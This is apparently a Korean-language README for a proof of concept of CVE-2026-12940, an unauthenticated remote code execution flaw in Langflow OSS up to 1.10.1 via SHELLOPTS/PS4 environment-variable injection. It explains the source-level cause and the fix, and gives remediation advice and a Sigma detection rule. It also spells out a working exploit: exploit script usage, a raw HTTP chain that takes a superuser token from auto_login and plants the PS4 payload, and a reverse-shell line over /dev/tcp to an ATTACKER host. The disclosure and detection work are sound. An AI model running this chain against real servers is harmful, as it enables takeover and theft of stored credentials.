
CVE-2026-12940 — Langflow OSS <=1.10.1의 MCP stdio 환경 변수 주입(SHELLOPTS/PS4)을 통한 인증 없는 원격 코드 실행(RCE). 작성자 PoC + 소스 분석 + 랩.
1.10.1까지의 Langflow OSS에서 발생하는 인증되지 않은 원격 코드 실행 취약점입니다. MCP stdio 서버 구성을 보호하는 환경변수 블랙리스트(DANGEROUS_ENV_VARS)에 SHELLOPTS, BASHOPTS, PS4가 누락되어 있습니다. MCP stdio 런처가 구성된 명령어를 bash -c로 실행하기 때문에, 공격자는 SHELLOPTS=xtrace와 PS4 명령어 치환을 주입하여 Langflow 프로세스 사용자 권한으로 임의의 셸 명령어를 실행할 수 있습니다. 기본 설치에서는 유효한 MCP 명령어도, 인증도 필요하지 않습니다.
| CVE | CVE-2026-12940 |
| 제품 | Langflow OSS |
| 영향 범위 | 1.0.0 – 1.10.1 |
| 수정 버전 | 1.10.2 |
| 유형 | 환경변수 주입을 통한 OS 명령어 주입 (CWE-78) |
| CVSS 3.1 | 9.8 치명적(CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (IBM CNA) |
| 인증 | 기본 설치 시 인증 불필요 (1.10.1에서 AUTO_LOGIN 기본 활성화) |
| 상태 | 취약점 확인됨(CONFIRMED VULNERABLE) — langflowai/langflow:1.10.1에서 엔드투엔드 검증 완료 |
Langflow는 사용자가 POST /api/v2/mcp/servers/{name}를 통해 외부 MCP(Model Context Protocol) stdio 서버를 등록할 수 있게 합니다. 요청 본문은 MCPServerConfig(src/backend/base/langflow/api/v2/schemas.py)에 의해 검증되며, 이 스키마는 command, args 및 env **키(key)**를 신중하게 검사합니다:
command는 허용 목록(node, python, npx, uvx, docker, sh, bash…)에 포함되어야 합니다.args는 셸 메타문자(;, |, $, `, (, ), …)와 위험한 키워드(-c, eval, pip install, …)가 있는지 검사됩니다.DANGEROUS_ENV_VARS(LD_PRELOAD, PATH, NODE_OPTIONS, PYTHONPATH, BASH_ENV, …)와 대조하여 검사됩니다.다음 두 가지 허점이 결합되어 RCE로 이어집니다:
env 값은 전혀 정화(sanitize)되지 않습니다. 블랙리스트에 대조되는 것은 키뿐이며, *값(value)*은 그대로 전달됩니다. 따라서 args 안에서 동일한 문자가 거부될지라도 $(id)라는 PS4 값은 그대로 살아남습니다.
블랙리스트가 불완전합니다. 1.10.1에서 DANGEROUS_ENV_VARS에는 shellopts, bashopts, ps4가 포함되어 있지 않습니다.
그러면 런처(src/lfx/src/lfx/base/mcp/util.py)가 Unix에서 다음과 같이 실행합니다:
env_data = {"DEBUG": "true", "PATH": os.environ["PATH"], **(env or {})}
server_params = StdioServerParameters(
command="bash",
args=["-c", f"exec {command_str} || echo 'Command failed with exit code $?' >&2"],
env=env_data,
)
SHELLOPTS=xtrace가 설정되면 bash는 시작 시 set -x를 활성화하고, 추적되는 첫 번째 줄을 실행하기 전에 PS4 프롬프트를 확장합니다. 따라서 PS4 내부의 명령어 치환은 즉시 실행됩니다. command/args는 유효할 필요조차 없으며, 이와 완전히 독립적으로 동작합니다.
블랙리스트는 src/lfx/src/lfx/base/mcp/util.py에 DANGEROUS_MCP_ENV_VARS로 중앙화되었으며 shellopts, bashopts, ps4(그리고 심층 방어 차원의 env)가 추가되었습니다. schemas.py는 이제 is_dangerous_mcp_env_var()을 호출합니다. 아래의 등록 요청은 1.10.2에서 HTTP 422로 거부됩니다.
$ python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
[*] target : http://127.0.0.1:7860
[*] PS4 : $(id > /tmp/proof 2>&1)
[+] obtained superuser token via /api/v1/auto_login (no credentials)
[+] registered MCP server 'saf550ddb' with SHELLOPTS/PS4 payload (HTTP 200)
[+] triggered launcher via GET /api/v2/mcp/servers?action_count=true (HTTP 200)
[+] payload PS4 executed on the server as the Langflow process user
$ docker exec lf-12940 cat /tmp/proof
uid=1000(user) gid=0(root) groups=0(root)
원시 HTTP 체인:
GET /api/v1/auto_login HTTP/1.1 → 200, {"access_token":"…"} (default install, no creds)
POST /api/v2/mcp/servers/pwn HTTP/1.1
Authorization: Bearer <token>
Content-Type: application/json
{"command":"uvx","args":["mcp-server-fetch"],
"env":{"SHELLOPTS":"xtrace","PS4":"$(id > /tmp/proof 2>&1)"}}
→ 200 (accepted; LD_PRELOAD here → 422)
GET /api/v2/mcp/servers?action_count=true HTTP/1.1
Authorization: Bearer <token>
→ 200, launcher spawns bash → PS4 runs `id`
--ps4는 리버스 셸 / OAST 콜백을 위한 원시 프리미티브를 제공합니다:
python3 exploit.py --ps4 '$(exec 3<>/dev/tcp/ATTACKER/9001; echo pwned $(id) >&3)'
docker run -d --name lf-12940 --network host langflowai/langflow:1.10.1
# (this box has no docker bridge; --network host is required)
# Langflow comes up on http://127.0.0.1:7860 with default config
python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
docker exec lf-12940 cat /tmp/proof
수정 버전 경계(거부됨):
docker run -d --name lf-patched --network host langflowai/langflow:1.10.2
# POST .../mcp/servers/pwn with SHELLOPTS → HTTP 422
# "Environment variable 'SHELLOPTS' is not allowed for security reasons"
전체 캡처 트랜스크립트는 EVIDENCE.txt에서, 소스 수준 분석 내용은 ANALYSIS.md에서 확인하십시오.
langflowai/langflow:1.10.1에서 취약점 확인됨(CONFIRMED VULNERABLE) — 두 가지 독립적인 기법으로 검증되었습니다:
uid=1000(user) gid=0(root) groups=0(root)가 포함되어 있습니다. 이는 대상의 /etc/passwd를 기준으로 해석된 id(1)의 실제 출력입니다. 입력 문자열 $(id …)를 단순히 반향(echo)한 것이 아닙니다.CALLBACK user@vbox 6.18.12+kali-amd64).langflowai/langflow:1.10.2에서는 패치됨(PATCHED) — 동일한 등록 요청이 HTTP 422를 반환합니다.
인증 불필요 주장에 대한 참고 사항. 1.10.1 이미지는 기본적으로
AUTO_LOGIN이 활성화된 상태로 제공되므로,/api/v1/auto_login은 자격 증명 없이도 모든 호출자에게 슈퍼유저 토큰을 반환합니다. 이것이 기본 배포에서 전체 공격 체인이 인증 없이 성립하는 이유입니다. 인증이 강제되는 인스턴스에서는 유효한 토큰/API 키를 가진 모든 인증 사용자가 동일한 RCE에 도달할 수 있습니다(--token을 통해 전달). 1.10.2 이미지는 시작 시 자격 증명을 요구하는데, 이는 관련 없는 별도의 하드닝 조치입니다.
Langflow 서비스 계정 권한으로 임의의 명령어를 실행할 수 있습니다. Langflow 데이터베이스의 모든 시크릿, 자격 증명 및 플로우를 완전히 읽을 수 있고, 내부 서비스와 클라우드 메타데이터에 접근할 수 있으며, 주변 네트워크로 피벗할 수 있습니다.
AUTO_LOGIN이 활성화된 상태로 Langflow를 신뢰할 수 없는 네트워크에 노출하지 마십시오. 명시적인 슈퍼유저 자격 증명을 설정하고 자동 로그인을 비활성화하십시오.env에 셸 제어 변수를 담은 MCP 서버 등록과, Langflow 프로세스의 자식 프로세스로 실행되는 bash를 찾으십시오:
POST /api/v2/mcp/servers/* with a JSON body containing "SHELLOPTS", "BASHOPTS" or "PS4"
process: bash -c "exec …" parented by the langflow/gunicorn worker
Sigma 규칙 (프로세스 생성):
title: Langflow MCP stdio launcher shell-control env injection (CVE-2026-12940)
logsource: { category: process_creation, product: linux }
detection:
selection:
Image|endswith: '/bash'
CommandLine|contains: 'exec '
ParentImage|contains: 'langflow'
env_marker:
CommandLine|contains:
- 'SHELLOPTS'
- 'PS4=$('
condition: selection or env_marker
level: high
© Caio Fabrício (BiiTts).